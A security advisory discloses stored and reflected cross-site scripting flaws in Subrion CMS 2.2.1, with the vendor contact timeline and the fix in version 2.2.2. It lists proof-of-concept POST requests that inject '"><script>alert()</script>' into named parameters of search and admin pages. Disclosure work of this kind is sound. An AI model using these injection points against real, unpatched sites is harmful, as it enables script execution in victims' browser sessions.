Subrion CMS 2.2.1 Multiple Remote XSS POST Injection Vulnerabilities


Vendor: Intelliants LLC
Product web page: http://www.subrion.com
Affected version: 2.2.1

Summary: Subrion is a free open source content management system. It's
written in PHP 5 and utilizes MySQL database. Subrion CMS can be easily
integrated into your current website or used as a stand alone platform.
It's extremely flexible and scalable php system that stands for a content
management framework.

Desc: Subrion CMS suffers from multiple stored and reflected cross-site
scripting vulnerabilities. The issues are triggered when input passed via
several parameters to several scripts is not properly sanitized before being
returned to the user. This can be exploited to execute arbitrary HTML and
script code in a user's browser session in context of an affected site.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Vendor status:

[05.09.2012] Vulnerabilities discovered.
[06.09.2012] Contact with the vendor.
[07.09.2012] Vendor responds asking more details.
[07.09.2012] Sent detailed information to the vendor.
[10.09.2012] Vendor creates patch.
[11.09.2012] Vendor releases version 2.2.2 to address these issues.
[11.09.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5105
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5105.php


05.09.2012


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POST http://localhost/subrion/advsearch/ HTTP/1.1 (Reflected)

cond[accounts][fullname]=LIKE
cond[accounts][username]=LIKE
f[accounts][fullname]="><script>alert(1);</script>   ------------ [ Valid ]
f[accounts][username]="><script>alert(2);</script>   ------------ [ Valid ]
items[]=accounts
q=

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POST http://localhost/subrion/admin/manage/blocks/add/ HTTP/1.1 (Stored)

collapsible=1
contents[en]=
do=add
external=0
filename=
goto=list
id=
multi_contents=test
multi_language=1
multi_title="><script>alert(3);</script>   ------------ [ Valid ]
name=test
position=header
save=Add
show_header=1
status=active
sticky=1
subpages[accounts]=
subpages[view_account]=
title[en]=
type=plain

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POST http://localhost/subrion/admin/manage/plans/add/ HTTP/1.1 (Reflected)

cost="><script>alert(4);</script>   ------------ [ Valid ]
days="><script>alert(5);</script>   ------------ [ Valid ]
description[en]=test
goto=list
item=accounts
save=Save
status=active
title[en]="><script>alert(6);</script>   ------------ [ Valid ]
usergroup=0

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POST http://localhost/subrion/admin/manage/fields/group/add/ HTTP/1.1 (Reflected)

add_fieldgroup=yes
collapsed=0
description[en]=test
goto=list
items_to_add[accounts]=accounts
name="><script>alert(7);</script>   ------------ [ Valid ]
titles[en]="><script>alert(8);</script>   ------------ [ Valid ]

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